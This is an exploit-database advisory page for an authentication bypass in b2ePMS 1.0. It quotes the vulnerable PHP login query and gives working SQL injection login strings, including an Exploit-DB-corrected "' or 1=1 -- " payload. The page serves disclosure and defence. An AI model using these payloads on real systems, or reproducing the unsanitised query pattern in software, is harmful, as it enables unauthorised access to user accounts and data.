header-logo
Suggest Exploit
vendor:
b2ePMS
by:
Jean Pascal Pereira
7,5
CVSS
HIGH
SQL Injection, Authentication Bypass
89
CWE
Product Name: b2ePMS
Affected Version From: 1.0
Affected Version To: 1.0
Patch Exists: NO
Related CWE: N/A
CPE: a:berlios:b2epms:1.0
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2005

b2ePMS 1.0 Authentication Bypass Vulnerability

The remote attacker has the possibility to execute arbitrary SQL Code and bypass the user authentication. To exploit this vulnerability, the attacker needs to perform a login with the following data: Username: admin' OR '1='1 and Password: x

Mitigation:

Input validation and sanitization should be done to prevent SQL Injection attacks.
Source

Exploit-DB raw data:

#################################################
b2ePMS 1.0 Authentication Bypass Vulnerability
#################################################

Discovered by: Jean Pascal Pereira <pereira@secbiz.de>

Vendor Information:

"b2ePMS stands for Browser to Email Phone Message System. It is intended to replace the standard 
paper/carbon phone message slips commonly used in offices, with the capability of sending the message
 via a web browser form directly to the recipients inbox."

Vendor URI: https://developer.berlios.de/projects/b2epms/

#################################################
# Exploit-DB Note
# Loneferret
# The provided PoC doesn't not work.
# This does:
# Username: "' or 1=1 -- "
# Password: x

Issue: SQL Injection, Authentication Bypass

Risk level: High

=> The remote attacker has the possibility to execute arbitrary SQL Code.

=> The remote attacker is able to bypass the user authentication.

In verify-user.php, line 20:

-------------------------------------

$sql = mysql_query("SELECT * FROM b2epms_user WHERE username='$username' AND user_passwd='$admin_passwd' AND activated='1' AND user_level='2'");
$login_check = mysql_num_rows($sql);
if($login_check > 0){
  while($row = mysql_fetch_array($sql)){
  foreach( $row AS $key => $val ){
    $$key = stripslashes( $val );
  }
    // Register session variables!
    session_register('userid');
    $_SESSION['userid'] = $user_level;
    mysql_query("UPDATE b2epms_user SET login_date=now() WHERE userid='$userid'"); $url = "Location: admin.php";
    header($url);
  }
}

-------------------------------------

Exploit / Proof Of Concept:

Perform a login with the following data:

Username: admin' OR '1='1
Password: x

-------------------------------------

#################################################